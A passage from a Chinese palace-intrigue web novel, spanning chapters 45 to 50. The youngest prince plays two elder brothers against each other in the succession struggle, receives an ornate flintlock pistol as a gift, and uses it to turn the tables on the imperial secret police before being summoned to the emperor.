周·炜廷露出震惊之色,思绪疯狂转动,“那你为何会出现在这里?”
“自然是逃出来的。”周昕阳轻松一笑。
“嘶!”
周·炜廷倒吸一口凉气,“九弟啊九弟!你可真是害苦了我!”
“你怎么如此胆大妄为?”
“你逃出来,再来找我,岂不是害死我了?”
“万一被宸察院的人发现……”
周·炜廷心头一沉,这个老九,简直是坏他大事!
现在正是他藏拙的时候,千万不能跟此事有牵扯,不然他的计划就全完蛋了。
“放心,我甩掉了尾巴。”
“况且,事已至此,二哥继续担忧,也无济于事了,不是吗?”
周昕阳轻声说道。
闻言,周·炜廷深吸一口气:“说得有理。”
“哥哥受教了。”
“九弟想知道什么?”
周昕阳看着周·炜廷,神情严肃,一字一句的说道:“如果让你当了皇帝,你会怎么对我们这些兄弟姐妹?”
一瞬间——
整个房间安静了下来。
微风不断吹动门窗,发出沙沙之声。
窗外的蝉鸣声,清脆婉转,给夜色更添几分静谧。
周·炜廷注视着对方,没有开口。
周昕阳也平静的对望。
足足十个呼吸,双方谁也没有说话。
最终,周·炜廷先开口:
“九弟,你这话是什么意思?”
“这种话,可不敢乱说啊?”
周昕阳露出一丝笑容,“二哥,老大已经废掉了,他没有机会了,谋反篡逆,乃是大罪。”
“你是众藩王之首,也是最长的皇子,你不上,谁上啊?”
“不敢乱说,不敢乱讲,父皇的心思,谁知道呢?”周·炜廷连忙摆手,“再说了,老三不是也在京城吗?”
“对于他,父皇也很看好。”
“那如果我能帮二哥你上位呢?”周昕阳步步紧逼。
“老九,你到底是什么意思?”周·炜廷冷声道。
周昕阳一字一句的说道:“从龙之功。”
“国舅长孙晟想要的,我也想要。”
“二哥,
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你成为太子,乃是众望所归。”
“常言道,锦上添花容易,雪中送炭难。”
“我揭露了太子造·反的秘密,又突然消失,你说,如果我出现在老三的王府,会发生什么?”
嘶!
周·炜廷心头一震。
此计当真毒辣!
周昕阳是揭露太子造·反之人,本就遭到**的记恨,若是在三皇子王府被发现,那三皇子必然会遭受到父皇的猜忌、以及**的仇视。
任何一点,都能让他彻底失宠。
那他能上位的机会,可就大大增加了。
“九弟,你是认真的?”
“你当真愿意以身犯险?充当马前卒?”
周·炜廷咽了一口吐沫,还是觉得有些不可思议。
“有何不可?”
“我撞破太子谋反,早就和**不死不休了。”
“现在若不寻求二哥的庇护,我又何必冒险来此呢?”
周昕阳极为认真的说道。
“二哥,你也知道,对于皇位,我是一点兴趣都没有。”
“我只是想自保。”
“我冒险来找你,而不是去找三哥,你难道还不明白吗?”
周·炜廷连忙握住周昕阳的双手:“老九,你放心,只要我成了,绝对**行赏,你是头功。”
“一定封你为藩王之首。”
“天下封地,你只管挑选。”
“你我兄弟齐心,何愁大业不成?”
“二哥。”周昕阳也是满含热泪,情绪激动。
“好了好了,擦擦眼泪,你二哥绝不负你。”周·炜廷拍了拍周昕阳的肩膀。
“二哥,我还是有些好奇,如果你上位,你会怎么对我们?”周昕阳一把擦掉眼泪,低声问道。
“嗯?”
“你很好奇吗?”
周·炜廷有些狐疑的看着周昕阳。
周昕阳点头,“是啊,我真的很好奇!”
“毕竟,都是一家人。”
“我真不愿意看见兵戎相见。”
“放心。”周·炜廷点了点头,算是理解周昕阳用意了,“只要父皇愿意封我为太子,等我上位后,不会对兄弟们怎么样的。”
“毕竟都是骨肉同胞……”
“那你会削藩吗?”周昕阳继续追问。
第45章 红袖添香
“嗯?”
周·炜廷脸色有了变化。
“九弟,你为什么会这么想?”
周昕阳露出苦笑之色:“二哥,你也知道我很喜欢看书,尤其是史书,历朝历代,有追求的君主,在上位后,都会进行削藩,所以我……”
“懂了。”周·炜廷微微颔首,露出了然的表情,“九弟,你在担心什么?”
“哪怕削藩,也不会削藩到你的头上,你可是我的至爱亲朋、手足兄弟!”
“再说了,你对我如此赤诚,立下这么大的功劳,我若再对你下手,岂不是禽兽不如了?”
“安心。”
周·炜廷轻轻拍了拍周昕阳的肩膀,“你我兄弟齐心,还怕什么困难?”
“二哥只要成功,许诺你一辈子荣华富贵。”
“那就多谢二哥了。”周昕阳拱手,“事不宜迟,那我现在就去老三那里了。”
“嗯。”周·炜廷微微点头,“一切小心,我们顶峰相见。”
“好。”
“二哥放心。”
周昕阳快步离开。
周·炜廷看着周昕阳的背影,眼神冷漠了下来。
而周昕阳也在心中盘算思考着老二的心思。
‘第一点,目前可以确定是老二在宫中的情报渠道,不涉及宸察院,或者说涉及宸察院,但层次太低,摸不到核心情报,是明显弱于老六的。’
‘第二点,目前来说,老二还没想清楚如何对付我们这些兄弟姐妹,这也很正常,毕竟,对于上位,他也还没成功,充满了不确定因素。’
‘第三点,一提到削藩,他就避开不谈,故意转移话题,由此可见,他只要上位,很大概率是会削藩的,从他利用玉玺发布矫诏就可以看出来,对于我们这些兄弟,他还是不放心。’
通过简单交谈,周昕阳获得了这些情报。
他不是不想继续深挖。
而是他发现……老二这个逼,压根问不出什么东西。
因为双方没有建立信任度。
所以过多纠缠,也没什么用。
“这就回到最尴尬的问题了。”
“人心思变。”
“不同的位置,有不同的想法和心思。”
“现在的老二,和现实中的老二,完全是不一样的想法。”
“所以,哪怕给予了承诺。”
“大概率也是不会兑现的。”
周昕阳对周·炜廷的话,就四个字,听听就好。
藩王不是臣属,是具备合法性的兄弟,是随时可能上位的“敌人”。
真正的皇帝,对自己的臣下,都是心怀忌惮的。
更别提有可能夺位的兄弟……
纵观历史,确实存在兄友弟恭的圣君典范。
可绝大多数,都是互相残杀的“至爱亲朋”!
那个位置,实在是太诱人了。
翻遍史书,歪歪扭扭,只有四个大字——争当皇帝。
“不过说起来,老三,我倒是没怎么接触过。”
“他是什么性格,我也不清楚。”
周昕阳在前往砥野王府的路上,突然想到了这个问题。
“算了,走一步看一步吧。”
周昕阳其实也是忽悠老二的,在他看来,梦境循环,哪有这么容易打破。
不打破,他这波给的承诺,也就是骗傻子玩的。
真牺牲自己,去嫁祸给老三。
最终老二上位后,还认不认这笔账?
那就是那句老话了……伴君如伴虎。
圣心难测。
……
东宫。
“啪!”
厉斩秋直接取下冷千嶂的面具,抬手就是一巴掌:“废物!”
“让你看个人,你都看不住!”
“你还能做什么?”
“是,属下有罪。”
冷千嶂长相普通,五官消瘦,他的右脸红肿了起来,但却根本顾不得捂脸,直接跪了下来。
“整个东宫都找遍了。”
“人都找不到。”
“说明人已经离开东宫了。”
“搜查整个皇宫,需要陛下同意,走,跟我去见陛下。”
厉斩秋冷声说完,朝着大门外走去。
“是。”冷千嶂连忙起身跟上。
厉斩秋语气冰冷:“动一动你的脑子,想一想泽川王会去哪里?”
“如果人失踪了,一直找不到,你明白会有什么后果。”
“属下明白。”
冷千嶂疯狂
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转动大脑,突然他有了一个主意:“大人,或许燕惊鹊会知道泽川王的下落。”
“他们不是一起发现太子秘密的吗?”
“嗯?”
厉斩秋突然停下脚步,“你有把握吗?”
“大人,试一试吧。”
“毕竟我们都不了解泽川王,燕惊鹊毕竟跟他接触过,应该比我们更了解。”冷千嶂连忙解释。
“好。”
“你去提审燕惊鹊。”
厉斩秋指着冷千嶂,话刚说到一半,突然改变了主意。
“不,我亲自去。”
……
砥野王府,书房。
一位俊秀公子,身着汉白常服,手持书卷,正在慢慢品读。
在俊秀公子身旁,站着一位碧色衣服的侍女,正在轻轻研墨,没有发出一点声响。
小家碧玉,红袖添香。
好一副侍女伴读图。
窗外知了沙沙作响,时不时还响起几声夜莺的啼叫声。
“碧儿。”
“奴婢在。”碧儿发出清脆甜糯的声音,放下墨块,恭敬站在公子身旁。
“有些饿了。”
“去庖厨拿些糕点吧。”
公子淡淡吩咐。
“是。”
碧儿微微行礼,离开了房间。
公子推开窗户,淡淡开口:“说吧。”
“王爷,调查清楚了,宸察院动手了,今夜晚宴取消,是因为东宫出事了,整个东宫被秘密封锁,什么消息也传递不出来。”
一名黑衣人,出现在院落中,双手抱拳,半跪下来,恭敬说道。
周焕章微微颔首,“老六、老九呢?”
“回王爷,剑南王返回了自己的王府,泽川王并未返回。”黑衣人禀告道。
“嗯?”
周焕章微微蹙眉,“好,知道了,下去吧。”
“是。”
黑衣人行礼后,钻入夜色,消失不见。
周焕章关上窗户,还未转身,就听见一个熟悉的男声。
“三哥,对我很关心嘛?”
一瞬间——
周焕章警惕了起来,立刻转身,靠到墙边,手已经摸到了架子上的宝剑。
当他看清楚来人后,眼神凌厉了起来。
“老九,怎么是你?”
第46章 金鳞化龙
“怎么?看见我,很意外?”
周昕阳悠然坐在椅子上,看着手旁的书卷,“三哥好雅兴,大晚上的,还在读史书,不错!”
“读史可以明志。”
“读史可以知兴替。”
“现在这个时候,读读史书,恰逢其会。”
“老九,你不回自己的王府,来我这里做什么?”从最初的意外和警惕后,周焕章冷静了下来,淡淡开口,
“王不见王的规矩,你难道忘记了?”
“深夜来见我,这件事,很犯忌讳。”
“若被人看见了,解释不清楚。”
“自然不敢忘。”周昕阳微微一笑,“深夜来找三哥,自然是有事情。”
“说吧。”周焕章看了一眼门外,“我的侍女去拿糕点了,大概一炷香回来,抓紧时间。”
“说完之后,我派人送你出去。”
“虽然不知道你怎么绕开的守卫,但你身份特殊,还是要注意,万一被宸察院的人发现,会很麻烦。”
周昕阳拿出怀表,看了一眼时间【23:05】,转动金属转纽,定时三十分钟,“好,开始吧。”
“九弟,你对这个西洋玩意,还真是中意……改天三哥送你点更好玩的。”周焕章看着周昕阳手中的怀表,开口说道。
“是吗?”
“那先谢过三哥了。”周昕阳笑着回应。
“行了,先说事吧。”周焕章道。
周昕阳严肃起来:“三哥,太子即将被废,我如果帮你,你会怎么报答我?”
“嗯?”
周焕章心头一跳,他完全没想到老九会这么直接?
很快,他就冷静下来,不断思索周昕阳此言的用意。
“老九,这话,你可不要乱说。”
“三哥,我深夜前来,不是想听你说这个的。”周昕阳摇了摇头,拿起墨笔,摊开宣纸,挥笔下了两行大字。
【*******,一遇风云便化龙。】
“三哥,看看。”
“我这草书如何?”
“可有龙蛇之变?”
周焕章看着上面的字,脸色一变,“九弟,你想做什么?”
“这些字,你是想害死我吗?”
周昕阳叹息一声,“哎,三哥,志不立,天下无可成之事。”
“若你志不在此,那我也不多言了。”
“告辞。”
“有的时候,机会只有一次。”
“错过,就没机会了。”
话罢,周昕阳拿起宣纸,就准备离开。
“等等。”
周焕章脸色变化,看着周昕阳的背影,最终叫住了他。
“老九,你究竟想说什么?”
周昕阳头也不回,淡淡开口:“为君者,当有龙蛇之变,能大能小,能升能隐;大则兴云吐雾,小则隐介藏形;升则飞腾于宇宙之间,隐则潜伏于波涛之内……”
“蛰伏隐忍,三哥你有,可关键时候的选择和勇气,你还稍显不足。”
嘶!
周焕章心中震动,他没想到周昕阳看得如此之通透?
小小年纪,能有这等见识!
九弟啊九弟,你可真是恐怖啊!
“九弟,若不是你年幼,在藩王之中,实力不足。”
“就凭你所说的这些话,我都该除掉你。”
周焕章认真说道。
“呵呵。”
周昕阳呵呵一笑,“三哥,我不是你的敌人,你很清楚这一点,我没有机会的。”
“我对你没有威胁。”
“不是吗?”
“确实。”周焕章点了点头,“论兵马,你不如边疆四王,论封地大小,你甚至不如我,更别提你还是最年幼的皇子,并且身负恶疾……”
“梦魇之症,虽不是什么大病,可久治不愈,时常疯癫,这也让你与那个位置无缘。”
“额……”周昕阳表情一僵,“久治不愈,我承认,时常疯癫,是什么时候的事情,我怎么不知道?”
“你不知道?”
周焕章哈哈一笑:“你忘记你小时候在宫里做的事情了?”
“你可是相当的桀骜不驯,看谁都不爽!”
“一副我想干谁就干谁的样子!”
“皇宫里的太监、宫女,哪个看见你不是绕着走?”
“他们可把你的“名声”宣扬得整个京城都知道了……”
周昕阳嘴角抽动,张了张嘴:“小时候年少轻狂。”
“不提也罢,不提也罢。”
“哈哈。”周焕章哈哈一笑,整个人轻松了不少,他拍了拍周昕阳的肩膀:“行了,老九,有什么话,就直说。”
“你三哥的性格,你也知道,我不是老大,更
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不是老二,我如果上去了,肯定会对兄弟好。”
“一切维持现状。”
“这是我的承诺。”
周昕阳微微眯眼,仔细观察着周焕章的表情变化。
不得不承认。
这番话是真心的。
一个想法,在周昕阳心中涌起。
或许让老三上位,会比老二上位更好?
老三上去后,维持现状,岂不是就暂时解决危险了?
但很快,周昕阳就冷静了下来。
理论上是这样。
可老三上位,合法性比老二周·炜廷上位还要差!
因为按照顺位继承,老大被废,顺延老二,还算说得过去。
可直接变成老三,这算什么?
立贤制?
那天下还不大乱?
立长立嫡,此乃国策。
国策若变,天下大乱。
“三哥,在来之前,我先去了趟二哥那里。”
周昕阳刚一开口,就让周焕章心头一沉。
“你去老二那里做什么?”周焕章脸色阴沉了下来,审视起了他。
“我跟二哥承诺,打算陷害你,扶持他上位。”周昕阳不紧不慢的继续说道。
“什么?”
周焕章脸色更加难看了,“那你刚刚说的,都只不过是在陷害我?”
“不,如果你拒绝我,我就会投向二哥,因为天下将乱,我只能投注一人,才有机会活下去。”周昕阳沉声道。
“老九,你啊!”
“真是一点也不让人省心。”
周焕章轻叹一声,“行吧,说说吧。”
“宫里到底发生什么事情了?”
“你又打算怎么陷害我?”
“我潜入东宫,搞倒了太子……”周昕阳简略讲述了自己如何发现太子造·反的秘密,当然,他省略了老六的部分。
“嘶!”
周焕章脸色微变,随即苦笑一声:“老九,你可真是太厉害了!”
“说你是翻手为云覆手为雨都不为过。”
“先搞倒了太子,再从我们之间,选一个人帮,除掉另一人,你直接就是从龙之功,稳如泰山。”
“你这哪里是投注一人,你这简直是再世诸葛,神机妙算的活神仙!”
“我刚刚若是放你走,我**得,都不知道……”
第47章 三皇子的礼物
说到这里,周焕章心中一阵后怕,看向周昕阳的眼神,也变得颇为微妙,充满着忌惮、担忧、惊疑不定。
“呵呵。”
“公平竞争嘛!”
周昕阳微微一笑,“我这个,一向是公平公正的。”
“对两位哥哥,我都不太熟悉。”
“只能都问问了。”
周焕章苦笑摇头:“九弟啊,有的时候,说你聪慧过人,有的时候,又觉得你很天真。”
“有些事情,能做不能说,更不能三心二意,多方投注。”
“你既然已经答应老二,就该坚定不移的站在老二一边,而不是一边答应老二,一边再出卖他。”
“这样不好。”
“受教了。”周昕阳点头,这个道理,他自然清楚,若在现实世界,他肯定不会如此。
但这是梦境,自然要大胆尝试了。
“不过也幸好你这样,才给了我一个活命的机会。”
“不然我……”周焕章说到这里,情绪上涌,一时间,竟是语塞了。
真是想让他破脑袋也想不到这个剧情发展……
他更不想到搞倒太子的,居然是老九这个小透明?
更为恐怖的是,如果没有老九,恐怕太子真有可能成功!
太子一旦上位,作为他的竞争者,他和老二,下场绝对凄凉。
最好的结果,就是笼中鸟,终生囚禁于京城。
“既然三哥已经知道事情经过,你想怎么做?”周昕阳看向周焕章,开口问道。
直到现在,周昕阳才抛出了自己的目的。
此番前来见周焕章,周昕阳就是想知道,作为在现实中,跟老二扳手腕,最终落败的老三,在得知事情经过后,会采取什么样的举动?
又是否具备上位能力?
如果没有,那这条路,就算是断掉了。
周昕阳现在想得很通透。
首先,他是老九,是最小的皇子,不具备登基称帝的条件,最起码,现在不具备。
其次,身为藩王,他又是最弱、最适合开刀的,很多行为,都是绕不过他的。
所以为了自保,在现实世界,他不得不暂时跟老六合作。
可这治标不治本,老六太贪心了,他要的是操纵自己,然后扶持废太子上位后,再谋夺大位。
这个风险是很大的。
哪怕让老六成了,真把废太子扶持上去了。
可然后呢?
玩挟天子以令诸侯的戏码?
真以为边疆四王和各地郡王、州牧们是吃素的?
还有老大,他绝不是一个安分的主,能老老实实的**纵?
在宸极城,人家的影响力,可比他们两个外地藩王,强得不止一点。
还占据大义。
只要能得到京都五营的支持,利用地利,想要反客为主,简直不要太简单……
综上所述,从始至终,周昕阳都觉得老六的想法,太愚蠢!太天真!
他没这个威望,拿什么坐稳皇位?
真以为你爬上去,坐到龙椅上,你就是皇帝了?
搞笑!
“九弟,我知道。”
“你想要一个保证。”
“我可以给你。”
周焕章神情严肃,“现在的你,无论选择帮谁,都能有从龙之功。”
“可成功之后,是否会有**行赏?”
“你心里没底。”
“我也很清楚,比起老二,我唯一的优势,就是性格还算温和,手段并不凌厉。”
“我可以给你一份密信,盖上私章,算作你我之间合作的一个凭证,同时,我还可以给你一个秘密,当成你的保障。”
“秘密?”周昕阳来了兴趣。
所谓的密信,周昕阳倒是无所谓。
反正是梦境,如果不能打破循环、影响现实,都是假的。
可秘密不同。
秘密可是货真价实的东西。
况且还是可以被周焕章称作是保障的东西……
“对。”
周焕章点头,“算是我的一个污点吧。”
“请说。”周昕阳认真说:“三哥放心,既然我对你已经坦诚交代,就不会再倒戈。”
“你也说了,一个人,三心二意,是不会有好下场的。”
“嗯。”
“老九,我相信你。”
周焕章微微颔首,“其实我的贤名都是装的,我的诗词也都是别人
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代笔的。”
“啊?”
周昕阳一阵错愕,看着浑身书香气息的周焕章,他都怀疑自己听错了。
“对。”
“你没听错。”
周焕章轻轻一叹,“其实我没什么读书天赋。”
“从小到大,我也写过许多文章、诗词,可都只能算普通,连惊艳都做不到,更别提传唱天下了。”
“贤名,更是一种伪装色。”
“因为我很清楚自己的普通,所以只能努力得表现得优秀一点,才能让封地内的世家们听话。”
“这……”
周昕阳想不到秘密居然是这个?
一直以来被称作“贤王”的砥野王,居然是伪装出来的?
“都是真的。”
“其实这件事父皇也知道……”
“宸察院也知道,不过应该是被列为最高机密封存了。”
周焕章情绪低落了下来。
“父皇和宸察院都知道……”周昕阳心中明白重要情报又+1了。
这说明,老三的动向,始终被宸察院掌握。
之所以按下不表,还故意帮他成为这个“贤王”。
估计也是为了刺激老大。
可实际上,老三是庸才,并不具备争储的条件。
“对。”
周焕章点头,转身走到书架中翻找,拿出一本册页状厚书,递给了周昕阳。
“拿着。”
“这是什么?”周昕阳有些错愕的接过这本厚书,看着上面的五个大字——《十三州通史》。
“等等。”
“不对,这个重量不对。”
刚入手,周昕阳就发现了不对劲。
重。
这本书册,明显重了许多。
“九弟,这是你三哥送你的礼物。”
“你不是喜欢西洋玩意吗?”
“这个东西,你应该会喜欢的。”
周焕章温和一笑,“来,打开看看。”
周昕阳翻开书册,发现里面的书页已经被掏空,与其说是“厚书”,不如说是一个套着书册外壳的小盒子。
在“厚书”之中,铺着洁白的天鹅绒,一个深棕色与银色交织的物品,正安安静静的躺在其中……
第48章 手铳
这是一把深棕色与银色交织的古朴手铳。
枪身是幽深的墨色,却在月光下泛着星屑般的微光。它的**并非笔直,而是泛着幽蓝的冷光,靠近枪口处微微膨大,如同蓄势待发的毒蛇之喉。
胡杨木的枪柄温润如玉,其上镶嵌的红、蓝、白三色宝石,上面深刻的金银交错藤蔓纹饰,透着一股西域宫廷式的奢靡与威严。
最引人注目的是那**——这像是一只黄金雕琢的鹰隼,仿佛随时会振翅啄下,L形的钢铁火镰如鹰喙般悬垂,紧紧扣住一块棱角分明的灰色燧石,似乎只需轻轻扳动,这块燧石就将与下方的钢盖迸发出致命的火花。
枪身的左侧刻着一行扭曲的古老文字,右侧雕刻着环绕火焰的六芒星,显得优雅而神秘。
“这是燧发枪?”
“你怎么会有这个东西?”
周昕阳瞳孔微微一缩,他曾在皇宫中的藏宝库里面看见过这个东西。
这是可是西域的贡品,一直被保管在皇宫最深处。
老三怎么会有?
不对!
样式不太一样。
周昕阳敏锐发现了两者的不同之处。
图案、色泽、样式,都有很大的不同。
“嗯?”
“老九,你真让人感到意外。”
“你居然连这个东西都知道?”
周焕章露出诧异之色,“好,既然你知道,那我也不用多解释什么了。”
“这个东西送给你。”
周昕阳深吸了一口气,看着手中的燧发枪,沉声道:“京都五营中,只有最重视的神机营,才有全员配置火绳枪以及神武大炮。”
“而燧发枪的锻造工艺,采用燧石打火的方式进行点火,不受天气影响,无论是射程,还是威力,远超火绳枪,是西洋独有的工艺,我们暂未攻破。”
“曾有大臣向父皇建议,集全国之力,攻克这项技术,研制燧发枪,全面替代火绳枪,可被父皇拒绝。”
“因为这件事,这个东西,被当做工艺品,一直被锁在藏宝库,与金银珠宝为伴。”
“三哥,你怎么会有这个东西呢?”
周焕章将燧发枪从厚书盒子里面拿了出来,摩挲着上面的纹路图案,“这是我一个西洋朋友送我的,它叫做“星火”。”
“他是西域某国的王子,因为皇朝变动,逃往来我们大虞,辗转反侧,寄人篱下,最终成了一个乞丐。”
“他由于异色瞳孔和黄色头发,被人当做异类,被我的人所救。”
“我给他一个生计,让他在王府中帮我打理花草。”
“几年前,他身患恶疾,难以医治。”
“在临死之前,他说出了这个秘密。”
“他来自一个叫做疏勒的古国,被当地人称为“金玉之邦”,坐落在一条古老丝绸之路与一条蕴藏着神秘能源的“地火脉”交汇处,因为兄弟与大臣勾结,国家发生叛乱,他在一夜之间,失去了一切,从王子变成了逃犯。这柄枪,就是他身为王子的信物,也是他亲手锻造出来的,所以哪怕再怎么艰难,他都没想过把它卖掉……”
“你看枪身上的墨玉色,这是由疏勒特产的“墨玉钢”,这是一种在特定地火脉中锻造出的材料,色泽暗沉如夜空,却有着星辰般的细微闪光,坚硬且耐腐蚀。”
“枪柄由千年胡杨木心雕成,镶嵌着“疏勒三宝”,也就是你看见的三色宝石,它们分别是红玉髓、青金石、和田白玉。”
“原来如此。”周昕阳点了点头,“既然是故人遗物,你就这么送给我,不太合适吧?”
“九弟,他的经历,让我想到了你们,想到了大虞。”
“你我也是兄弟,我们跟老大、老二也是兄弟,我本无意皇位,但我不想死,更不想我们兄弟阋墙……”周焕章深吸一口气,握住了周昕阳的手,
“可我知道,如果老二上位,我必死,而他也一定会对兄弟们下手。”
“因为他这个人做事不择手段,为了胜利,他可以将百姓、属臣当做消耗品,为了自己位置的安稳,他一定会削藩、残害兄弟。”
“所以,为了大虞的未来,九弟,请你相信我。”
“给我一个机会。”
周昕阳陷入了沉思。
纯粹理性的判断,周昕阳肯定还是选择老二。
原因有两点。
其一,人家在现实中已经赢了,换句话说,无论他周昕阳帮不帮,对方都是赢家,他只不过是在锦上添花。
其二,老二的合法性远超老三,立嫡立长,老大出事后,老二顺位上去,合情合理。
帮老二,很简单,弄清楚打破梦境循环的规则后,改变现
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实,在知道老二必赢的情况下,直接投注。
等一觉醒来,现实改变,他周昕阳就直接是从龙之功,稳如泰山了。
可帮老三,就需要改变老二成功的现实,这就很难了。
可抛开理性,从感情出发,周昕阳是比较想选老三的。
真诚。
平庸。
心软。
老三上位,绝不会是一个锐意进取的雄主,但可以成为一个足够勤勉的守成之主。
这就够了。
对周昕阳来说,这是最好的结果,也是他最想看到的新君。
现在这个时局,不能再出一个想要中兴、励精图治的皇帝了。
“三哥,不得不承认,你说服我了。”
周昕阳深吸一口气,开口道。
“没事,你好好考虑吧。”
“哪怕你最终不选我,三哥也不会怪你的。”
“抓紧时间离开吧。”
“别惊动了宸察院的探子。”
周焕章笑着说道。
“好。”
周昕阳看了一眼怀表,时间确实差不多了,他将星**放入怀中,准备离去。
“九弟,这些弹丸,你拿好,可以用来防身。”周焕章打开抽屉,拿出一个布袋,递给周昕阳。
“燧发枪与火绳枪不同,不用火绳点火,身上也不用带明火,更安全,就是填装弹丸依旧麻烦。”
“不过这把星**,我试过,工艺水平很高,品质比西域国的贡品还要好,我问过我那个朋友,他说,这是他特别锻造的,不计成本,所有工艺和材料用得都是最好的……”
“你用这个东西防身,只要操作得当,哪怕对方也有燧发枪,你也能快人一步。”
周昕阳点了点头:“多谢三哥。”
“嗯,去吧。”
“好好考虑一下。”
“希望你能给我一个惊喜。”周焕章微笑点头,目送周昕阳离去。
周昕阳灵巧得爬出高墙,看了一眼王府,依旧寂静无声。
他犹如狸猫一般,翻下高墙,钻入夜幕。
“并没派人跟踪。”
“看来,老三并没有**灭口的心思,确实把选择的权力交给了我……”
周昕阳心中思绪转动,刚走进小巷,就猛然停下了脚步。
“出来吧。”
“你怎么知道我会经过这里?”
第49章 反客为主
“王爷,我也只是猜测。”
“不止是这里,二王爷那边,也有人盯梢。”
一道身影,走了出来。
来人身着黑色夜行衣,手里握着刀鞘,黑柄短刀插于刀鞘内,身材匀称,极为干练。
“不过,我自认为隐藏得很好,你是怎么发现的?”
燕惊鹊也觉得无语,怎么周昕阳一进巷子,他就暴露了?
难道他的藏匿之法这么菜吗?
周昕阳呵呵一笑,他当然不会告诉燕惊鹊,在这个小巷里,他特意调整过杂物的摆放位置,看似随意,实则只要有人动过,他就能知道。
那些杂物,如果不调整,是很影响藏匿和行走的。
这属于细节处的设计。
“你能出现在这里,说明宸察院的人病急乱投医了。”
这句话还没说完,四面八方就钻出几道黑影……
眨眼间,十几名宸察院的探子,将周昕阳彻底围住。
“王爷,你让我找得好苦啊!”冷千嶂盯着周昕阳有些咬牙切齿的说道。
“呦!”
“这不是千户大人吗?”
“这么晚了,不睡觉?”
周昕阳笑嘻嘻的说道。
“王爷大晚上不睡觉,到处乱跑,我怎么睡得着呢?”冷千嶂冷声说道。
“那真是对不起千户大人了。”
周昕阳笑着说道。
“既然王爷知道,那就跟我们走吧。”
“你突然消失,惊动了陛下。”
“我们现在就入宫面圣。”
冷千嶂冷淡说道,“来人,给王爷上器具。”
“还要上器具?”
周昕阳皱眉,脸上的笑容收敛:“刑不上大夫,孤是藩王,你敢拷我?”
“王爷,你太不安分了。”
“所以别怪臣。”冷千嶂态度强硬,冷声吩咐:“还不快去!”
“是吧?”
“那我不怪你,你也别怪我了。”
周昕阳语气淡漠。
“什么?”
冷千嶂没反应过来。
下一刻,冰冷的**就对准了他的眉心,抵在他的面具前。
“这是……”
冷千嶂面具下的汗水流了下来,他是宸察院的千户,自然是见过燧发枪的。
甚至于这件西域贡品刚被送来的时候,他还亲眼见过它的点火发射,不同于神机营标配的火绳枪,这种枪的威力,远超火绳枪,还不需要用火绳点燃,方便携带、威力强大。
这个距离,这个位置,他的脑袋……
想到这里,冷千嶂忍不住咽了一口唾沫,声音有些颤抖:“王爷,有话好好说,别冲动。”
“我没冲动啊!”
“你不是说了,别怪你嘛!”
“我不怪你啊,但你也别怪我。”
“很公平啊!”
周昕阳笑眯眯的说道。
“王爷,你觉得上器具不合适,我也觉得不合适,都可以商量的嘛!”
“别冲动。”
冷千嶂低声道。
“别介啊!”
“规矩就是规矩,怎么能随便打破呢?”
“过来,给千户大人上器具。”
周昕阳吩咐道。
“啊?”
“给我上器具?”冷千嶂一愣。
“对啊,你不是要上器具嘛,管他是给谁上的,不是吗?”
“还是说,千户大人想让我开枪?”
“让我想想,你说藩王杀一个宸察院的千户,会不会抵命?”
“应该不会吧?”
周昕阳晃着手中的星**,略有所指的问道。
“额……”
冷千嶂心里清楚,当然不会了,哪有奴才要主子抵命的道理,他的命,能让周昕阳关几天禁闭就不错了。
别说周昕阳没有大错,甚至举报太子造·反有功,就算他有大错,只要不是涉及造·反这种大罪,基本就是小打小闹。
宸察院每天经手那么多案子,调查那么多达官显贵,这个道理,他岂会不懂?
“来人!”
“过来拷上我。”
冷千嶂明白周昕阳是气不过,想整一下自己。
拷个**,和死比起来。
算个屁。
“啊?”
“大人,这……”一旁的宸察院探子们都懵了,相互对视后,面面相觑,都不敢上前。
“愣着做什么?”
“还不过来!”
“王爷的命令没听见吗?”
冷千嶂厉声喝道。
“是是是。”
一个探子没办法,只能硬着头皮,拿出**,给冷千嶂拷了起来。
“你看这样,还满意吗?”冷千嶂
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低声问道。
“马马虎虎吧。”
“你不是说父皇还在等我吗?”
“还不带路。”
周昕阳一把抓住冷千嶂的胳膊,用枪抵住他的腰部。
“小心点,小心点,小心走火啊!”冷千嶂吓了一跳,连忙说道。
“放心,我有分寸。”
“带路吧。”
周昕阳命令道。
“好好好,别靠的这么近,这真容易走火,王爷……”冷千嶂心惊肉跳的,不断开口提醒。
“啰嗦。”
周昕阳踢了一脚对方,“再啰嗦,就给你来一枪,你就不用担心走火了。”
“好,我闭嘴。”
一瞬间,冷千嶂老实了。
片刻之后,在城门口,厉斩秋看着一群人“保护”下,走过来的周昕阳和冷千嶂,微微蹙眉:“这么回事?”
厉斩秋的目光,落到手腕处的**上。
“这个……”冷千嶂有些迟疑。
周昕阳反而没那么多的顾忌:“他要拷我。”
“我不同意,就把他给拷了。”
“嗯?”
厉斩秋眉头紧锁,试探问道:“王爷,你是怎么拷他的呢?”
“有它不就行了吗?”
周昕阳掀开冷千嶂身上的斗篷,露出幽深墨色的**。
“嘶!”
厉斩秋脸色骤变,整个人都紧张了起来。
难怪刚刚他就觉得这些人怪怪的,现在终于明白怪在哪里?
哪里是冷千嶂压着周昕阳过来?
分别是周昕阳压着冷千嶂过来好吧!
身为犯人,直接反客为主?
这个九王爷,了不得啊!
“王爷,这个东西,你这么拿着,我不敢带你去见陛下。”厉斩秋露出苦笑之色。
“哦。”
周昕阳哦了一声,随后将星**,丢给了厉斩秋。
“接着。”
“好好保管,我等等来拿。”
“好的好的。”厉斩秋松了一口气,他看了一眼膛口,发现里面根本就没有弹丸。
他嘴角抽动了一下,给了冷千嶂一个**的眼神。
将手里的星**收了起来。
“王爷,跟我来。”
“我带您去见陛下。”
“好。”
周昕阳微微颔首,跟上厉斩秋的脚步。
第50章 御书房
皇宫,御书房。
“咳咳……”
昭明帝咳嗽了两声,坐在龙椅上,看着眼前的周昕阳,以及摆放在桌子上的星**。
“小老九,说说吧。”
“这究竟是怎么回事?”
“这把枪,你怎么来的?”
“你又为什么逃跑?”
“还从老三的府邸中出来?”
周昕阳看了一眼怀表时间【1:20】,开口道:“父皇,这么晚还不睡,你身体不好,要多休息才行。”
“老大不省心,你也不省心啊!”昭明帝叹息一声,“你若真想让朕多休息,就快点说出这些事情的缘由……告诉朕,究竟是怎么回事?”
周昕阳望着苍老、略显老态的昭明帝,突然有些感叹,曾经的父皇,也曾是一代雄主,励精图治。
可惜猛虎老矣……
“父皇,儿臣想留在京城。”周昕阳开口道。
“嗯?”
“留在京城?”
“你想做什么?”昭明帝微微皱眉,在这敏感的时候,周昕阳提出这样的要求,究竟意欲何为?
